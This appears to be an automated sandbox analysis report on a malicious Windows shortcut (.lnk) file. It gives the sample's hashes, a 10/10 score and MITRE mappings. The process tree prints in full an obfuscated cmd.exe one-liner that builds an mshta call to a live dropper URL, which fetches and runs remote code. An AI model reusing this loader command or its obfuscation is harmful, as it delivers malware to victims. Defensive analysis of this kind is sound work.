b5202d21e2e229df74128252367694f1374dd8fff5bf9eb9a5ce7f0db4b63f19

Analysis

max time kernel
60s
max time network
25s
platform
windows11-ltsc_2024_x64
resource
win11ltsc2024-20260709-en
resource tags

arch:x64arch:x86image:win11ltsc2024-20260709-enlocale:en-usos:windows11-ltsc_2024-x64systemwindows
submitted
17/08/2026, 20:01

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General

Target
DOC-3T608H.lnk
Size 2KB
Sample260817-yr2ymayyht
SHA256 b5202d21e2e229df74128252367694f1374dd8fff5bf9eb9a5ce7f0db4b63f19
MD5 b668a255d4b314972d39d3732a229a7c
SHA1 16534a4243abb84cd1abd5746f46b1732db07c46
SHA512 68fc997cf5dd2199b0ce8437cad7bd98438ea86ef9537f8f3280a242dfb67a9f15ba8ce26f77af180779c06d693327abce8d08d3e4c4477b93cb7bac37b4a1b0
TLSH
T1984137A02AED01D8F2BB5E73E8FF631149BBB9525E70C68D1910820D1523B01D937F67
MD5 SHA1 SHA512 TLSH

Score

10^/10

execution

Malware Config

Extracted

Language

Source

URLs

hta.dropper
https://geo-pdffiller.lat/h/estagio1.php?r=331061

Signatures

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082

Executes a command shell one-liner 1 TTPs 2 IoCs

Execution of a cmd.exe one-liner (/c "close" or /k "keep") is a common script/loader stage.

execution

Windows Command Shell

T1059.003

pid	Process
376	cmd.exe
4348	cmd.exe

Suspicious use of WriteProcessMemory 2 IoCs

description	pid	Process	procid_target
PID 4348 wrote to memory of 376	4348	cmd.exe	90
PID 376 wrote to memory of 3060	376	cmd.exe	91

C:\Windows\system32\cmd.exe
cmd /c C:\Users\Admin\AppData\Local\Temp\DOC-3T608H.lnk
1⤵
- Executes a command shell one-liner
- Suspicious use of WriteProcessMemory
PID:4348
- C:\WINDOWS\system32\cmd.exe
  "C:\WINDOWS\system32\cmd.exe" /D /V:on /c "set KKXu=sysurmnkvhnagkznbsys&&set TFwRH=syszcmmiowkqmsxmstsys&&set KxaW=ssl4&&set lnW=ott9&&set WKRq=aart3v&&set NVst=sysxbamxpsys&&set TWhmH=winbaidlutlkwin&&set fyUNq=cfgirmnmacfg&&set Ctem=atgmsht&&set cIQn=i8ct1&&set VSsf=zp1a4q7&&set jXd=cfghjxgoajuwcfg&&set Ur=https@:@/@/@ge@o-@p@dffi@ll@[email protected]@/@h/@e@[email protected]@p?r=331061&&start /b !Ctem:~3,3!!cIQn:~3,1!!VSsf:~3,1! !Ur:@=!"
  2⤵
  - Executes a command shell one-liner
  - Suspicious use of WriteProcessMemory
  PID:376
- - C:\Windows\System32\mshta.exe
    mshta https://geo-pdffiller.lat/h/estagio1.php?r=331061
    3⤵
    PID:3060

Network

MITRE ATT&CK Enterprise v16

Reconnaissance

Resource Development

Initial Access

Execution

Command and Scripting Interpreter

T1059

Windows Command Shell

T1059.003

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Discovery

System Information Discovery

T1082

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Analysis

Sharing

General

Malware Config

Extracted

Signatures

Processes

Network

MITRE ATT&CK Enterprise v16

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Downloads